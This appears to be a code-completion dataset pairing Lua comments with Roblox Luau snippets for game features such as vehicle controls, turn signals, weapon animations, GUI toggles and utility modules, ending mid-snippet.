prompt
stringlengths
2
14.7k
completion
stringlengths
1
99.7k
-- local script
local player = game.Players.LocalPlayer local ScreenGui = script.Parent.Frame local function checkKnightValue() local knightValue = player:FindFirstChild("Knight") if knightValue and knightValue.Value then ScreenGui.Visible = true else ScreenGui.Visible = false end end player.ChildAdded:Connect(checkKnightValue) player.ChildRemoved:Connect(checkKnightValue) checkKnightValue()
-- Decompiled with the Synapse X Luau decompiler.
local l__Lighting__1 = game:GetService("Lighting"); local l__CurrentCamera__1 = workspace.CurrentCamera; function Screen() local l__Heartbeat__2 = script.Parent:WaitForChild("Heartbeat"); l__CurrentCamera__1.FieldOfView = 70 + l__Heartbeat__2.PlaybackLoudness * 0.05; l__CurrentCamera__1.CFrame = l__CurrentCamera__1.CFrame * CFrame.Angles(0, 0, math.rad(math.random(-l__Heartbeat__2.PlaybackLoudness, l__Heartbeat__2.PlaybackLoudness) * 0.008)) + Vector3.new(math.rad(math.random(-l__Heartbeat__2.PlaybackLoudness * 0, l__Heartbeat__2.PlaybackLoudness * 0) * 0), math.rad(math.random(-l__Heartbeat__2.PlaybackLoudness * 0, l__Heartbeat__2.PlaybackLoudness * 0) * 0), math.rad(math.random(-l__Heartbeat__2.PlaybackLoudness * 0, l__Heartbeat__2.PlaybackLoudness * 0) * 0)); end; Connected = game:GetService("RunService").RenderStepped:Connect(Screen); workspace.Characters.Players:WaitForChild(game:GetService("Players").LocalPlayer.Name):WaitForChild("Humanoid").Died:Connect(function() Connected:Disconnect(); end);
--//
--Lucargia-- --// function a(x) local y = game.Lighting.Cup:Clone() y.Parent = x.Backpack end script.Parent.ClickDetector.MouseClick:connect(a)
-- / Functions / --
EventModule.ActivateEvent = function() local RandomPlayer = PlayingTeam:GetPlayers()[math.random(1, #PlayingTeam:GetPlayers())] if RandomPlayer then RandomPlayer.CameraMaxZoomDistance = 3 end end
--[[ Extended typeof, designed for identifying custom objects. If given a table with a `type` string, returns that. Otherwise, returns `typeof()` the argument. ]]
local function xtypeof(x: any) local typeString = typeof(x) if typeString == "table" and typeof(x.type) == "string" then return x.type else return typeString end end return xtypeof
--- Registers a command definition and its server equivalent. -- Handles replicating the definition to the client.
function Registry:RegisterCommand (commandScript, commandServerScript, filter) local commandObject = require(commandScript) if commandServerScript then commandObject.Run = require(commandServerScript) end if filter and not filter(commandObject) then return end self:RegisterCommandObject(commandObject) commandScript.Parent = self.Cmdr.ReplicatedRoot.Commands end
--[[ ___ _______ _ / _ |____/ ___/ / ___ ____ ___ (_)__ / __ /___/ /__/ _ \/ _ `(_-<(_-</ (_-< /_/ |_| \___/_//_/\_,_/___/___/_/___/ SecondLogic @ Inspare ]]
local autoscaling = false --Estimates top speed local UNITS = { --Click on speed to change units --First unit is default { units = "MPH" , scaling = (10/12) * (60/88) , -- 1 stud : 10 inches | ft/s to MPH maxSpeed = 45 , spInc = 5 , -- Increment between labelled notches }, { units = "KM/H" , scaling = (10/12) * 1.09728 , -- 1 stud : 10 inches | ft/s to KP/H maxSpeed = 370 , spInc = 40 , -- Increment between labelled notches }, { units = "SPS" , scaling = 1 , -- Roblox standard maxSpeed = 400 , spInc = 40 , -- Increment between labelled notches } }
-- spawn a random ore
local oreName = oreBank[math.random(1,#oreBank)] local newOre = game.ServerStorage.Items:FindFirstChild(oreName):Clone() newOre.CFrame = root.CFrame*CFrame.new(0,1,0) newOre.Parent = workspace--DevVince was here, hehe. game.Debris:AddItem(newOre, 60*4)--Clean up old ores. end end) AttitudeCoroutine() while true do if mode == "charLock" then targetLocation = (charRoot.CFrame*CFrame.new(3,-2.6,1)).p targetLook = charRoot.CFrame*CFrame.new(charRoot.CFrame.lookVector*1000) end bg.CFrame = targetLook bp.Position = targetLocation wait() end
--[[** ensures value is a given literal value @param literal The literal to use @returns A function that will return true iff the condition is passed **--]]
function t.literal(...) local size = select("#", ...) if size == 1 then local literal = ... return function(value) if value ~= literal then return false end return true end else local literals = {} for i = 1, size do local value = select(i, ...) literals[i] = t.literal(value) end return t.union(table.unpack(literals, 1, size)) end end
-------------------------------------------------------------------------------------- --------------------[ ANIMATIONS ]---------------------------------------------------- --------------------------------------------------------------------------------------
local AnimAng = {0, 0, 0, 0, 0} local AnimCF = function(State, Ang) if State ~= "Running" then if (not Aimed) then if State == "Idleing" then return CF( RAD(SIN(Ang)) / 2 * StanceSway, 1 + RAD(SIN(Ang * 5 / 2)) / 2 * StanceSway, 0 ) elseif State == "Walking" then return CF( RAD(SIN(Ang)) * 2 * StanceSway, 1 + RAD(ABS(SIN(Ang))) * 2 * StanceSway, 0 ) * CFANG(0, RAD(SIN(Ang)) / 3, 0) end elseif Aimed then if State == "Idleing" then return CF( RAD(SIN(Ang)) / 4 * StanceSway, 1 + RAD(SIN(Ang * 5 / 2)) / 4 * StanceSway, 0 ) elseif State == "Walking" then return CF( RAD(SIN(Ang)) / 3 * StanceSway, 1 + RAD(ABS(SIN(Ang))) / 3 * StanceSway, 0 ) end end elseif State == "Running" then return CF( SIN(Ang) / 6 * StanceSway, 0.9 + ABS(SIN(Ang)) / 5 * StanceSway, 0 ) * CFANG(0, -RAD(SIN(Ang)) * 7, 0) end end function Animate() local IsIdleing = false local IsWalking = false local IsRunning = false spawn(function() while Selected do IsIdleing = Idleing and (not Walking) and (not Reloading) and (not Knifing) and (not ThrowingGrenade) and Selected IsWalking = (not Idleing) and Walking and (not Running) and (not Reloading) and (not Knifing) and (not ThrowingGrenade) and Selected IsRunning = (not Idleing) and Walking and Running and (not Aiming) and (not Knifing) and (not ThrowingGrenade) and Selected RS:wait() end IsIdleing = false IsWalking = false IsRunning = false end) spawn(function() if S.PlayerAnimations then TweenJoint(LWeld2, CF(), CFANG(0, RAD(ArmTilt), 0), Sine, 0.15) TweenJoint(RWeld2, CF(), CFANG(0, RAD(ArmTilt), 0), Sine, 0.15) local PreviousArmTilt = ArmTilt while Selected do repeat RS:wait() until (ArmTilt ~= PreviousArmTilt) or (not Selected) if (not IsRunning) and (not Aimed) and (not Reloading) and (not Knifing) and (not ThrowingGrenade) and Selected then PreviousArmTilt = ArmTilt TweenJoint(LWeld2, CF(), CFANG(0, RAD(ArmTilt), 0), Sine, 0.15) TweenJoint(RWeld2, CF(), CFANG(0, RAD(ArmTilt), 0), Sine, 0.15) end RS:wait() end end end) spawn(function() while Selected do if IsIdleing then if (not Aimed) and (not Aiming) then Gui_Clone.CrossHair.Box:TweenSizeAndPosition( UDim2.new(0, 70, 0, 70), UDim2.new(0, -35, 0, -35), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, S.PlayerAnimations and 0.15 or 0, true ) if S.PlayerAnimations then TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Sine, 0.15) TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Sine, 0.15) TweenJoint(AnimWeld, AnimCF("Idleing", AnimAng[1]), CF(), Sine, 0.15) TweenJoint(Grip, Grip.C0, CFANG(0, RAD(20), 0), Sine, 0.15) else if (not LWeld:FindFirstChild("TweenCode")) and (not RWeld:FindFirstChild("TweenCode")) and (not ABWeld:FindFirstChild("TweenCode")) and (not AnimWeld:FindFirstChild("TweenCode")) then LWeld.C0, LWeld.C1 = ArmC0[1], S.ArmC1_UnAimed.Left RWeld.C0, RWeld.C1 = ArmC0[2], S.ArmC1_UnAimed.Right AnimWeld.C0 = CF(0, 1, 0) Grip.C1 = CFANG(0, RAD(20), 0) end end elseif Aimed and (not Aiming) then if S.PlayerAnimations then TweenJoint(LWeld, ArmC0[1], S.ArmC1_Aimed.Left, Sine, 0.15) TweenJoint(RWeld, ArmC0[2], S.ArmC1_Aimed.Right, Sine, 0.15) TweenJoint(AnimWeld, AnimCF("Idleing", AnimAng[2]), CF(), Sine, 0.15) else if (not LWeld:FindFirstChild("TweenCode")) and (not RWeld:FindFirstChild("TweenCode")) and (not ABWeld:FindFirstChild("TweenCode")) and (not AnimWeld:FindFirstChild("TweenCode")) then LWeld.C0, LWeld.C1 = ArmC0[1], S.ArmC1_Aimed.Left RWeld.C0, RWeld.C1 = ArmC0[2], S.ArmC1_Aimed.Right AnimWeld.C0 = CF(0, 1, 0) Grip.C1 = Aimed_GripCF end end end if S.PlayerAnimations then wait(0.15) RunTween = false while IsIdleing do if (not LWeld:FindFirstChild("TweenCode")) and (not RWeld:FindFirstChild("TweenCode")) and (not ABWeld:FindFirstChild("TweenCode")) and (not AnimWeld:FindFirstChild("TweenCode")) then if (not Aimed) and (not Aiming) then AnimWeld.C0 = AnimCF("Idleing", AnimAng[1]) AnimAng[1] = AnimAng[1] + 0.03 * StanceSway elseif Aimed and (not Aiming) then AnimWeld.C0 = AnimCF("Idleing", AnimAng[2]) AnimAng[2] = AnimAng[2] + 0.015 * StanceSway end end RS:wait() end AnimAng[1], AnimAng[2] = 0, 0 end end if IsWalking then if (not Aimed) and (not Aiming) then Gui_Clone.CrossHair.Box:TweenSizeAndPosition( UDim2.new(0, 150, 0, 150), UDim2.new(0, -75, 0, -75), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, S.PlayerAnimations and 0.15 or 0, true ) if S.PlayerAnimations then TweenJoint(LWeld, ArmC0[1], S.ArmC1_UnAimed.Left, Sine, 0.15) TweenJoint(RWeld, ArmC0[2], S.ArmC1_UnAimed.Right, Sine, 0.15) TweenJoint(AnimWeld, AnimCF("Walking", AnimAng[3]), CF(), Sine, 0.15) TweenJoint(Grip, Grip.C0, CFANG(0, RAD(20), 0), Sine, 0.15) else if (not LWeld:FindFirstChild("TweenCode")) and (not RWeld:FindFirstChild("TweenCode")) and (not ABWeld:FindFirstChild("TweenCode")) and (not AnimWeld:FindFirstChild("TweenCode")) then LWeld.C0, LWeld.C1 = ArmC0[1], S.ArmC1_UnAimed.Left RWeld.C0, RWeld.C1 = ArmC0[2], S.ArmC1_UnAimed.Right AnimWeld.C0 = CF(0, 1, 0) Grip.C1 = CFANG(0, RAD(20), 0) end end elseif Aimed and (not Aiming) then if S.PlayerAnimations then TweenJoint(LWeld, ArmC0[1], S.ArmC1_Aimed.Left, Sine, 0.15) TweenJoint(RWeld, ArmC0[2], S.ArmC1_Aimed.Right, Sine, 0.15) TweenJoint(AnimWeld, AnimCF("Walking", AnimAng[4]), CF(), Sine, 0.15) else if (not LWeld:FindFirstChild("TweenCode")) and (not RWeld:FindFirstChild("TweenCode")) and (not ABWeld:FindFirstChild("TweenCode")) and (not AnimWeld:FindFirstChild("TweenCode")) then LWeld.C0, LWeld.C1 = ArmC0[1], S.ArmC1_Aimed.Left RWeld.C0, RWeld.C1 = ArmC0[2], S.ArmC1_Aimed.Right AnimWeld.C0 = CF(0, 1, 0) Grip.C1 = Aimed_GripCF end end end if S.PlayerAnimations then wait(0.15) RunTween = false while IsWalking do if (not LWeld:FindFirstChild("TweenCode")) and (not RWeld:FindFirstChild("TweenCode")) and (not ABWeld:FindFirstChild("TweenCode")) and (not AnimWeld:FindFirstChild("TweenCode"))then if (not Aimed) and (not Aiming) then AnimWeld.C0 = AnimCF("Walking", AnimAng[3]) AnimAng[3] = AnimAng[3] + 0.15 * StanceSway elseif Aimed and (not Aiming) then AnimWeld.C0 = AnimCF("Walking", AnimAng[4]) AnimAng[4] = AnimAng[4] + 0.1 * StanceSway end end RS:wait() end AnimAng[3], AnimAng[4] = 0, 0 end end if IsRunning then Gui_Clone.CrossHair.Box:TweenSizeAndPosition( UDim2.new(0, 200, 0, 200), UDim2.new(0, -100, 0, -100), Enum.EasingDirection.Out, Enum.EasingStyle.Linear, S.PlayerAnimations and 0.15 or 0, true ) local LArmCF = CF(-0.75, 0.55 - (SIN(AnimAng[5]) - 8.5)/10, 0.1) local LArmAng = CFANG(RAD(ABS(COS(AnimAng[5]))) * 5 + RAD(25), RAD(-10), RAD((SIN(AnimAng[5]) + 1.2) * 50 - 90)) local RArmCF = CF(0.75, (SIN(AnimAng[5]) + 1)/2, -0.15) local RArmAng = CFANG(RAD(ABS(COS(AnimAng[5]))) * 15 + RAD(15), 0, RAD(0 + (SIN(AnimAng[5]) - 3) * 1)) if S.PlayerAnimations then TweenJoint(LWeld, ArmC0[1], LArmCF * LArmAng, Sine, 0.15) TweenJoint(RWeld, ArmC0[2], RArmCF * RArmAng, Sine, 0.15) TweenJoint(AnimWeld, AnimCF("Running", AnimAng[5]), CF(), Sine, 0.15) TweenJoint(Grip, Grip.C0, CFANG(0, RAD(-5), 0), Sine, 0.15) else LWeld.C0, LWeld.C1 = ArmC0[1], LArmCF * LArmAng RWeld.C0, RWeld.C1 = ArmC0[2], RArmCF * RArmAng AnimWeld.C0 = CF(0, 0.9, 0) Grip.C1 = CFANG(0, RAD(-5), 0) end if S.PlayerAnimations then RunTween = true wait(0.15) while IsRunning do if (not Aiming) then AnimWeld.C0 = AnimCF("Running", AnimAng[5]) AnimAng[5] = AnimAng[5] + 0.18 end RS:wait() end AnimAng[5] = 0 end end RS:wait() end end) end
---------------------------------------------------------------------------------------------------- --------------------=[ OUTROS ]=-------------------------------------------------------------------- ----------------------------------------------------------------------------------------------------
,FastReload = true --- Automatically operates the bolt on reload if needed ,SlideLock = false ,MoveBolt = false ,BoltLock = false ,CanBreachDoor = false ,CanBreak = true --- Weapon can jam? ,JamChance = 1000 --- This old piece of brick doesn't work fine >;c ,IncludeChamberedBullet = true --- Include the chambered bullet on next reload ,Chambered = false --- Start with the gun chambered? ,LauncherReady = false --- Start with the GL ready? ,CanCheckMag = true --- You can check the magazine ,ArcadeMode = false --- You can see the bullets left in magazine ,RainbowMode = false --- Operation: Party Time xD ,ModoTreino = false --- Surrender enemies instead of killing them ,GunSize = 1 ,GunFOVReduction = 5 ,BoltExtend = Vector3.new(0, 0, 0.375) ,SlideExtend = Vector3.new(0, 0, 0.3)
--------------------------- --[[ --Main anchor point is the DriveSeat <car.DriveSeat> Usage: MakeWeld(Part1,Part2,WeldType*,MotorVelocity**) *default is "Weld" **Applies to Motor welds only ModelWeld(Model,MainPart) Example: MakeWeld(car.DriveSeat,misc.PassengerSeat) MakeWeld(car.DriveSeat,misc.SteeringWheel,"Motor",.2) ModelWeld(car.DriveSeat,misc.Door) ]] --Weld stuff here
car.DriveSeat.ChildAdded:connect(function(child) if child.Name=="SeatWeld" and child:IsA("Weld") and game.Players:GetPlayerFromCharacter(child.Part1.Parent)~=nil then child.C0=CFrame.new(-1,-.4,0)*CFrame.fromEulerAnglesXYZ(-(math.pi/2),0,0) end end)
---Controls UI
script.Parent.Parent:WaitForChild("Controls") script.Parent.Parent:WaitForChild("ControlsOpen") script.Parent:WaitForChild("Window") script.Parent:WaitForChild("Toggle") local car = script.Parent.Parent.Car.Value local _Tune = require(car["A-Chassis Tune"]) local UserInputService = game:GetService("UserInputService") local cPanel = script.Parent local Controls = script.Parent.Parent.Controls local ver = require(car["A-Chassis Tune"].README) cPanel.Window["//INSPARE"].Text = "A-Chassis "..ver.." // INSPARE" local controlsOpen = false local cInputB = nil local cInputT = nil local cInput = false local UIS1 = nil local UIS2 = nil for i,v in pairs(_Tune.Peripherals) do script.Parent.Parent.Controls:WaitForChild(i) local slider = cPanel.Window.Content[i] slider.Text = v.."%" slider.S.CanvasPosition=Vector2.new(v*(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset)/100,0) slider.S.Changed:connect(function(property) if property=="CanvasPosition" then Controls[i].Value = math.floor(100*slider.S.CanvasPosition.x/(slider.S.CanvasSize.X.Offset-slider.S.Size.X.Offset)) slider.Text = Controls[i].Value.."%" end end) end for i,v in pairs(_Tune.Controls) do script.Parent.Parent.Controls:WaitForChild(i) local button = cPanel.Window.Content[i] button.Text = v.Name button.MouseButton1Click:connect(function() if UIS1 ~= nil then UIS1:disconnect() end if UIS2 ~= nil then UIS2:disconnect() end UIS1 = UserInputService.InputBegan:connect(function(input) if cInput then cInputB = input.KeyCode cInputT = input.UserInputType end end) UIS2 = UserInputService.InputChanged:connect(function(input) if cInput and (input.KeyCode==Enum.KeyCode.Thumbstick1 or input.KeyCode==Enum.KeyCode.Thumbstick2) then cInputB = input.KeyCode cInputT = input.UserInputType end end) script.Parent.Parent.ControlsOpen.Value = true cPanel.Window.Overlay.Visible = true cInput = true repeat wait() until cInputB~=nil if UIS1 ~= nil then UIS1:disconnect() end if UIS2 ~= nil then UIS2:disconnect() end if cInputB == Enum.KeyCode.Return or cInputB == Enum.KeyCode.KeypadEnter then --do nothing elseif string.find(i,"Contlr")~=nil then if cInputT.Name:find("Gamepad") then Controls[i].Value = cInputB.Name button.Text = cInputB.Name else cPanel.Window.Error.Visible = true end elseif i=="MouseThrottle" or i=="MouseBrake" then if cInputT == Enum.UserInputType.MouseButton1 or cInputT == Enum.UserInputType.MouseButton2 then Controls[i].Value = cInputT.Name button.Text = cInputT.Name elseif cInputT == Enum.UserInputType.Keyboard then Controls[i].Value = cInputB.Name button.Text = cInputB.Name else cPanel.Window.Error.Visible = true end else if cInputT == Enum.UserInputType.Keyboard then Controls[i].Value = cInputB.Name button.Text = cInputB.Name else cPanel.Window.Error.Visible = true end end cInputB = nil cInputT = nil cInput = false wait(.2) cPanel.Window.Overlay.Visible = false script.Parent.Parent.ControlsOpen.Value = false end) end cPanel.Window.Error.Changed:connect(function(property) if property == "Visible" then wait(3) cPanel.Window.Error.Visible = false end end) cPanel.Toggle.MouseButton1Click:connect(function() controlsOpen = not controlsOpen if controlsOpen then cPanel.Toggle.BackgroundColor3 = Color3.new(0,0,0) cPanel.Window:TweenPosition(UDim2.new(0.5, -250,0.5, -250),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true) else if UIS1 ~= nil then UIS1:disconnect() end if UIS2 ~= nil then UIS2:disconnect() end cPanel.Toggle.BackgroundColor3 = Color3.new(0,0,0) cPanel.Window:TweenPosition(UDim2.new(0.5, -250,0, -500),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.7,true) end end) cPanel.Window.Tabs.Keyboard.MouseButton1Click:connect(function() cPanel.Window.Content:TweenPosition(UDim2.new(0, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) end) cPanel.Window.Tabs.Mouse.MouseButton1Click:connect(function() cPanel.Window.Content:TweenPosition(UDim2.new(-1, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) end) cPanel.Window.Tabs.Controller.MouseButton1Click:connect(function() cPanel.Window.Content:TweenPosition(UDim2.new(-2, 0, 0, 60),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Keyboard:TweenPosition(UDim2.new(0, 5, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Mouse:TweenPosition(UDim2.new(0, 120, 0, -5),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) cPanel.Window.Tabs.Controller:TweenPosition(UDim2.new(0, 235, 0, 0),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,true) end) wait(.5) cPanel.Toggle:TweenPosition(UDim2.new(0.23, 0, 1, -24),Enum.EasingDirection.Out,Enum.EasingStyle.Quad,.4,false) for i=1,6 do cPanel.Toggle.BackgroundColor3 = Color3.new(100/255,100/255,100/255) wait(.2) if controlsOpen then cPanel.Toggle.BackgroundColor3 = Color3.new(0,0,0) else cPanel.Toggle.BackgroundColor3 = Color3.new(0,0,0) end wait(.2) end
--[=[ Loads the data at the `name`. @param name string @param defaultValue T? @return Promise<T> ]=]
function DataStoreStage:Load(name, defaultValue) if not self._loadParent then error("[DataStoreStage.Load] - Failed to load, no loadParent!") end if not self._loadName then error("[DataStoreStage.Load] - Failed to load, no loadName!") end if self._dataToSave and self._dataToSave[name] ~= nil then if self._dataToSave[name] == DataStoreDeleteToken then return Promise.resolved(defaultValue) else return Promise.resolved(self._dataToSave[name]) end end return self._loadParent:Load(self._loadName, {}):Then(function(data) return self:_afterLoadGetAndApplyStagedData(name, data, defaultValue) end) end
--blacknwhite
script.Parent.Color = randval7 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) script.Parent.Color = randval8 --Color3.new(math.random(), math.random(), math.random()) wait(0.5) mode8() end function mode9()
--[=[ @tag Component Class @return Promise<ComponentInstance> Resolves a promise once the component instance is present on a given Roblox instance. An optional `timeout` can be provided to reject the promise if it takes more than `timeout` seconds to resolve. If no timeout is supplied, `timeout` defaults to 60 seconds. ```lua local MyComponent = require(somewhere.MyComponent) MyComponent:WaitForInstance(workspace.SomeInstance):andThen(function(myComponentInstance) -- Do something with the component class end) ``` ]=]
function Component:WaitForInstance(instance: Instance, timeout: number?) local componentInstance = self:FromInstance(instance) if componentInstance then return Promise.resolve(componentInstance) end return Promise.fromEvent(self.Started, function(c) local match = c.Instance == instance if match then componentInstance = c end return match end) :andThen(function() return componentInstance end) :timeout(if type(timeout) == "number" then timeout else DEFAULT_TIMEOUT) end
-- main program
local runService = game:service("RunService");
-- ROBLOX FIXME: Can we define ClientChatModules statically in the project config
pcall(function() ChatLocalization = require((game:GetService("Chat") :: any).ClientChatModules.ChatLocalization :: any) end) if ChatLocalization == nil then ChatLocalization = {} function ChatLocalization:Get(key,default) return default end end local numChildrenRemaining = 10 -- #waitChildren returns 0 because it's a dictionary local waitChildren = { OnNewMessage = "RemoteEvent", OnMessageDoneFiltering = "RemoteEvent", OnNewSystemMessage = "RemoteEvent", OnChannelJoined = "RemoteEvent", OnChannelLeft = "RemoteEvent", OnMuted = "RemoteEvent", OnUnmuted = "RemoteEvent", OnMainChannelSet = "RemoteEvent", SayMessageRequest = "RemoteEvent", GetInitDataRequest = "RemoteFunction", }
-- Detect when prompt is triggered
local function onPromptTriggered(player) if player.Character and player.Character:FindFirstChild("Humanoid") ~= nil and player.Character.Humanoid.Health > 0 then for _,Child in pairs(player.Character:GetChildren()) do if Child:IsA("Tool") and require(Child.ACS_Settings).Type == 'Gun' and Stored.Value > 0 then if Universal then Evt.Refil:FireClient(player, Child, Infinite, Stored) script.Parent.Parent.RefilSound:Play() else if require(Child.ACS_Settings).BulletType == BulletType then Evt.Refil:FireClient(player, Child, Infinite, Stored) script.Parent.Parent.RefilSound:Play() end end end end end end
--vehicle.Nose.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, -1)) end) --vehicle.Bumper_Front.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, -1)) end) --vehicle.Bumper_Back.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, 1)) end) --vehicle.Tailgate.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, 1)) end) --vehicle.ExhaustPipe.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, 1)) end)
frontForceField.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, 1)) end) backForceField.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 0, -1)) end) vehicle.Wheel_BackLeft.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 1, 0)) end) vehicle.Wheel_FrontLeft.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, 1, 0)) end) vehicle.Wheel_BackRight.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, -1, 0)) end) vehicle.Wheel_FrontRight.Touched:connect(function (hitPart) onTouch(hitPart, Vector3.new(0, -1, 0)) end) local vehicleDamaged = false function checkIfVehicleIsDamaged() if (not frontForceField.Parent or not backForceField.Parent) and not vehicleDamaged and allowDamage then vehicleDamaged = true script.IsDamaged.Value = true vehicle.VehicleScript.Disabled = true vehicleSmoke.Enabled = true vehicle.VehicleSeat.MaxSpeed = 0 vehicle.ExhaustPipe.Smoke.Enabled = false -- Break Joints vehicle.Wheel_BackLeft:BreakJoints() vehicle.Wheel_FrontLeft:BreakJoints() vehicle.Wheel_BackRight:BreakJoints() vehicle.Wheel_FrontRight:BreakJoints() hood:BreakJoints() end end vehicle.ChildRemoved:connect(checkIfVehicleIsDamaged)
--[=[ Similiar to Fusion's ComputedPairs, where the changes are cached, and the lifetime limited. @param source Observable<T> | any @param compute (key: any, value: any, innerMaid: Maid) -> Instance | Observable<Instance> @return Observable<Brio<Instance>> ]=]
function Blend.ComputedPairs(source, compute) local sourceObservable = Blend.toPropertyObservable(source) or Rx.of(source) return Observable.new(function(sub) local cache = {} local topMaid = Maid.new() local maidForKeys = Maid.new() topMaid:GiveTask(maidForKeys) topMaid:GiveTask(sourceObservable:Subscribe(function(newValue) -- It's gotta be a table assert(type(newValue) == "table", "Bad value emitted from source") local excluded = {} for key, _ in pairs(cache) do excluded[key] = true end for key, value in pairs(newValue) do excluded[key] = nil if cache[key] ~= value then local innerMaid = Maid.new() local result = compute(key, value, innerMaid) local brio = Brio.new(result) innerMaid:GiveTask(brio) sub:Fire(brio) maidForKeys[key] = innerMaid cache[key] = value end end for key, _ in pairs(excluded) do maidForKeys[key] = nil cache[key] = nil end end), sub:GetFailComplete()) return topMaid end) end
--[[ Package link auto-generated by Rotriever ]]
local PackageIndex = script.Parent._Index local Package = require(PackageIndex["Roact"]["Roact"]) return Package
--[[[Default Controls]]
--Peripheral Deadzones Tune.Peripherals = { MSteerWidth = 67 , -- Mouse steering control width (0 - 100% of screen width) MSteerDZone = 10 , -- Mouse steering deadzone (0 - 100%) ControlLDZone = 5 , -- Controller steering L-deadzone (0 - 100%) ControlRDZone = 5 , -- Controller steering R-deadzone (0 - 100%) } --Control Mapping Tune.Controls = { --Keyboard Controls --Mode Toggles ToggleTCS = Enum.KeyCode.T , ToggleABS = Enum.KeyCode.Y , ToggleTransMode = Enum.KeyCode.M , ToggleMouseDrive = Enum.KeyCode.R , --Primary Controls Throttle = Enum.KeyCode.W , Brake = Enum.KeyCode.S , SteerLeft = Enum.KeyCode.A , SteerRight = Enum.KeyCode.D , --Secondary Controls Throttle2 = Enum.KeyCode.B , Brake2 = Enum.KeyCode.N , SteerLeft2 = Enum.KeyCode.M , SteerRight2 = Enum.KeyCode.V , --Manual Transmission ShiftUp = Enum.KeyCode.E , ShiftDown = Enum.KeyCode.Q , Clutch = Enum.KeyCode.LeftShift , --Handbrake PBrake = Enum.KeyCode.X , --Mouse Controls MouseThrottle = Enum.UserInputType.MouseButton1 , MouseBrake = Enum.UserInputType.MouseButton2 , MouseClutch = Enum.KeyCode.W , MouseShiftUp = Enum.KeyCode.E , MouseShiftDown = Enum.KeyCode.Q , MousePBrake = Enum.KeyCode.LeftShift , --Controller Mapping ContlrThrottle = Enum.KeyCode.ButtonR2 , ContlrBrake = Enum.KeyCode.ButtonL2 , ContlrSteer = Enum.KeyCode.Thumbstick1 , ContlrShiftUp = Enum.KeyCode.ButtonY , ContlrShiftDown = Enum.KeyCode.ButtonX , ContlrClutch = Enum.KeyCode.ButtonR1 , ContlrPBrake = Enum.KeyCode.ButtonL1 , ContlrToggleTMode = Enum.KeyCode.DPadUp , ContlrToggleTCS = Enum.KeyCode.DPadDown , ContlrToggleABS = Enum.KeyCode.DPadRight , }
--[=[ Converts this arbitrary value into an event handler, which can be subscribed to @param value any @return function? ]=]
function Blend.toEventHandler(value) if type(value) == "function" then return value elseif typeof(value) == "Instance" then -- IntValue, ObjectValue, et cetera if ValueBaseUtils.isValueBase(value) then return function(result) value.Value = result end end elseif type(value) == "table" then if Signal.isSignal(value) then return function(...) value:Fire(...) end elseif value.ClassName == "ValueObject" then return function(result) value.Value = result end end end return nil end
-- Initialization
local MapPurgeProof = workspace:FindFirstChild('MapPurgeProof') if not MapPurgeProof then MapPurgeProof = Instance.new('Folder') MapPurgeProof.Parent = workspace MapPurgeProof.Name = 'MapPurgeProof' end
--Made by Repressed_Memories -- Edited by Truenus
local component = script.Parent.Parent local car = script.Parent.Parent.Parent.Parent.Car.Value local mouse = game.Players.LocalPlayer:GetMouse() local leftsignal = "z" local rightsignal = "c" local hazards = "x" local hazardson = false local lefton = false local righton = false local leftlight = car.Body.Lights.Left.TurnSignal.TSL local rightlight = car.Body.Lights.Right.TurnSignal.TSL local leftfront = car.Body.Lights.Left.TurnSignal local rightfront = car.Body.Lights.Right.TurnSignal local signalblinktime = 0.32 local neonleft = car.Body.Lights.Left.TurnSignal2 local neonright = car.Body.Lights.Right.TurnSignal2 local off = BrickColor.New("Mid ray") local on = BrickColor.New("New Yeller") mouse.KeyDown:connect(function(lkey) local key = string.lower(lkey) if key == leftsignal then if lefton == false then lefton = true repeat neonleft.BrickColor = on leftfront.BrickColor = on leftlight.Enabled = true neonleft.Material = "Neon" leftfront.Material = "Neon" component.TurnSignal:play() wait(signalblinktime) leftfront.BrickColor = off neonleft.BrickColor = off component.TurnSignal:play() neonleft.Material = "SmoothPlastic" leftfront.Material = "SmoothPlastic" leftlight.Enabled = false wait(signalblinktime) until lefton == false or righton == true elseif lefton == true or righton == true then lefton = false component.TurnSignal:stop() leftlight.Enabled = false end elseif key == rightsignal then if righton == false 